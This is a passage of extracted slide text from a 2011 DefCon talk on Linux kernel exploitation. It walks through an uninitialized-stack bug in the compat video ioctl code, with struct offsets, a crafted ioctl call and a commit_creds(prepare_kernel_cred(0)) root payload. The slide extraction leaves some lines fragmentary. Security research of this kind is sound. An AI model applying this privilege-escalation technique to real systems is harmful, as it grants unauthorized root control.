Kernel Exploitation
Kernel Exploitation
Kees Cook
[email protected]
www.canonical.com
DefCon 19, August 2011
20 Minutes!
●
introduction
●
quick Linux kernel exploitation basics
●
audit callers of copy_from_user() for mistakes
●
found a flawed function, but don't have direct control?
●
controlling an uninitialized stack variable
●
become root
●
questions
Credentials
●
Change your process's UID to 0
●
System-wide IDT
Attacking the Core: http://www.phrack.org/issues.html?issue=64&id=6
requires handling interrupt mode
●
single, isolated struct sock
sk_destruct called on close()
easy to find in memory via /proc/net/tcp
Interface boundaries
●
Switches from userspace to ring0
●
Changes in privilege levels
Unchecked copy_from_user
●
__copy_from_user() without access_ok()
●
Very few callers
●
Intel DRM (CVE-2010-2962, me)
●
RDS (CVE-2010-3904, Dan Rosenberg)
* copy_from_user@p(...)
@p Final
API Compat
●
Extremely few users
●
CVE-2010-2963, code had 0 users, in fact
Generally
●
Just look at Mitre for some history
●
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=kernel+compat
static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
union {
struct video_tuner vt;
struct video_code vc;
...
} karg;
void __user *up = compat_ptr(arg);
...
switch (cmd) {
...
case VIDIOCSTUNER:
case VIDIOCGTUNER:
err = get_video_tuner32(&karg.vt,
get_video_tuner32 up);
...
19 Kernel Exploitation Via Uninitialized Stack by Kees Cook
examine offsets and alignments
of the on-stack variables
struct video_code32 {
char loadwhat[16];
compat_int_t datasize;
/* 4 bytes of compiler-added padding here */
unsigned char * data;
data /* 24 bytes to pointer */
};
...
struct video_tuner32 {
compat_int_t tuner;
char name[32];
name /* 4 bytes from start of struct */
compat_ulong_t rangelow, rangehigh;
u32 flags; /* It is really u32 in videodev.h */
u16 mode, signal;
};
tuner loadwhat[16]
name[32]
datasize
padding
<------------------------------------------> data
other locals...
… other locals...
…
.. ..
. .
bottom
vc->datasize = length;
vc->data = source;
/* VIDIOCSMICROCODE32,
the badly constructed VIDIOCSMICROCODE */
code = 0x4020761b;
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code,
(unsigned int)(uintptr_t)vc);
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)
get_kernel_sym("prepare_kernel_cred");
...
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
28 Kernel Exploitation Via Uninitialized Stack by Kees Cook
trigger the target
Just close the socket
●
Boom
Enjoy ring0
●
Kernel cleans up for you